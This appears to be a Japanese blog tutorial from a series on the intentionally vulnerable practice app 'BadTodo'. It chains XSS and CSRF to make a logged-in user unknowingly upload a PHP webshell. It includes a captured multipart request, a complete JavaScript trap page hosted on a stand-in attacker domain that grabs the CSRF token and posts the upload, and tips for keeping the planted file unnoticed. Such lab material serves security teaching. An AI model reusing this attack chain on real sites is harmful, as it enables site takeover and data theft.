やられアプリ BadTodo - 25.1 色々混ぜてやってみる1(XSS - CSRF -WebShell)

BadTodo - 4.1 XSS(クロスサイト・スクリプティング)
BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)
BadTodo - 10.7 XSSによるCSRF対策の突破
前回:BadTodo - 24 適切でないアップロートファイル制限
などを混ぜて色々やってみます。

まず今回、XSSの脆弱性を使い、ユーザーにCSRF相当の罠を実行させ、悪意のあるハッカーが利用できるプログラムファイルをアップロードさせます。
次回、そのウェブ上に設置したプログラム(WebShell)を使いサイトを改ざんし、ユーザーの入力情報を盗みます。

XSSの脆弱性を使い、ファイルをアップロードさせる

既存のユーザが作成済みの Todo を狙い、それに対する編集・修正リクエストをXSSにて実行させることでWebShellファイルのアップロードを行います。(Todoを新規作成"addtodo.php"させても良いですが、元からある物の一部を修正"editdone.php"する方がバレにくい)
※上記で「CSRF相当の罠を実行させ」と書いていますが、これは「(CSRFの罠にかかるのと同様な)本人の意図しないファイルアップロードを、XSSより行う」という意味です。

こちらを狙うことにしました。

ハッカーは自身でも何件かTodoを登録・修正してリクエストの動作を確認します。

全項目入力し、ファイルを再添付して保存した際のリクエストは下記です。

POST /editdone.php HTTP/1.1
Host: todo.example.jp
Cookie: TODOSESSID=2215e7b019599a578aece5b7c4dacf4d; PHPSESSID=7p8bhp3ort6qegq74noibd3s04; adminer_version=4.8.1
~中略~
Origin: https://todo.example.jp
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://todo.example.jp/edittodo.php?rnd=66ade53cee8b9&item=5
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="todotoken"

439e154d28ca5d451ac11a0f9fcbe62d
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="item"

5
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="todo"

hacker
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="c_date"

2024-08-03
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="due_date"

2024-08-03
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="public"

1
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="memo"

test
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="attachment"; filename="Test.txt"
Content-Type: text/plain

ID: TestA
Pass: TestA
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="url"

https://www.example.com/
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw
Content-Disposition: form-data; name="url_text"

Example Domain
------WebKitFormBoundaryi6Fi8tBZZ3IhFzCw--

trap.example.org に設置する罠を作成します。

・BadTodoはjQuery1系を使っているため Ajaxを使いました(jQuery2系以下と3系では書き方が少し違います)
・1番目の ajaxでCSRFトークンを取得し、2番目の ajaxでそのトークンを使いPOSTリクエストを送る
・修正を狙うTodoを確認しパラメータを修正。item=4、todo, due_date, memo, url, url_textは空値
・アップロードするファイル webshell.php の内容を Base64エンコードする
・Base64でエンコードされたデータの文字列を window.atob() メソッドでデコードする
Window: atob() メソッド - Web API | MDN
よって以下のようになります。(XSS_CSRF_WebShell.html)

<html>

<body>
  大当たり!
  <script src="https://todo.example.jp/js/jquery-1.8.3.js"></script>
  <script>
    $.ajax({
      url: "https://todo.example.jp/edittodo.php?item=4",
      xhrFields: {
        withCredentials: true
      },
      success: function (d) {
        console.log("The token is: " + d.response);
        let token = d.match("[0-9a-z]{32}")[0];
        console.log("The token is: " + token);
        let up = "webshell.php";
        $.ajax({
          url: "https://todo.example.jp/editdone.php",
          contentType: "multipart/form-data; boundary=----XXX",
          type: "POST",
          xhrFields: {
            withCredentials: true
          },
          data:
            "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"todotoken\"\r\n\r\n"
            + token + "\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"item\"\r\n\r\n"
            + "4\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"todo\"\r\n\r\n"
            + "test\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"c_date\"\r\n\r\n"
            + "2024-08-03\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"due_date\"\r\n\r\n"
            + "\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"public\"\r\n\r\n"
            + "1\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"memo\"\r\n\r\n"
            + "\r\n"
            + "------XXX\r\n"
            + "Content-Disposition: form-data; name=\"attachment\"; filename=\"webshell.php\"\r\n"
            + "Content-Type: application/octet-stream\r\n\r\n"
            + window.atob("PD9wa~中略~9keT4=")
            + "\r\n"
            + "------XXX\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n"
            + "\r\n"
            + "------XXX\r\nContent-Disposition: form-data; name=\"url_text\"\r\n\r\n"
            + "\r\n"
            + "------XXX--\r\n"
        })
      }
    })
  </script>
</body>

</html>

罠の設置

https://trap.example.org/XSS_CSRF_webshell.html

ユーザが罠にかかる

今回狙われたユーザ test が罠リンクをクリックしてしまった。

この時点でファイルのアップロードが完了しています。(66adf4c4-webshell.php)

諸々の確認

Burpを確認すると、まず todo.php 上の罠リンクから XSS_CSRF_webshell.html に遷移し、次に GET /edittodo.php で訪れた先でCSRFトークンを取得し、最後に POST /editdone.php でファイルアップロードを含むTodo修正リクエストが送られています。

指定通り Content-Type: multipart/form-data; で送信され、Base64形式でエンコードされていた文字列が正しくデコードされ元のデータに戻っていることも分かります(この例ではぼかしている部分)。

今回利用されたTodoは表面上は何も変わってないように見えます。

  • 前回指摘したように、適切でない拡張子のファイルをアップロードすると表面上は失敗しTodoには登録されないため
  • ファイルのアップロードが適切にTodoに反映される場合は、ファイルが添付されたTodoを狙い既存のファイル名と似たややこしいファイル名を付けてバレにくくしましょう
  • また非公開のTodoを狙うとさらに気付かれにくいでしょう。参考: 3.2 SQLインジェクション 非公開情報の漏洩
  • CSRFの脆弱性があると、ユーザ自身がファイルアップロード権限を持っておらず管理者のみに許可されている場合でも管理者が狙われ罠を実行してしまう可能性があります
  • また管理者用の別サイトでのみファイルアップロードが許されているような場合でも、サイト間を跨いだ持続型 XSSと組み合わせることで実行できる場合があります(次回の資料動画を参照ください)

補足

(今回の攻撃は trap.example.org から todo.example.jpへ、つまりクロスオリジンへのリクエストです。これらのリクエストは同一オリジンポリシーCORSという仕組みで守られ、または許可されたりするのですが、それについてはまた後日)
(Access-Control-Allow-Origin レスポンスヘッダが外部の問題のあるドメイン(trap.example.org)を許可してしまっています)

次回は設置したWebShellを使いサイトを改ざんし、ユーザの入力したデータを窃取します。

次回:やられアプリ BadTodo - 25.2 色々混ぜてやってみる2(XSS - CSRF -WebShell) - demandosigno

/* -----codeの行番号----- */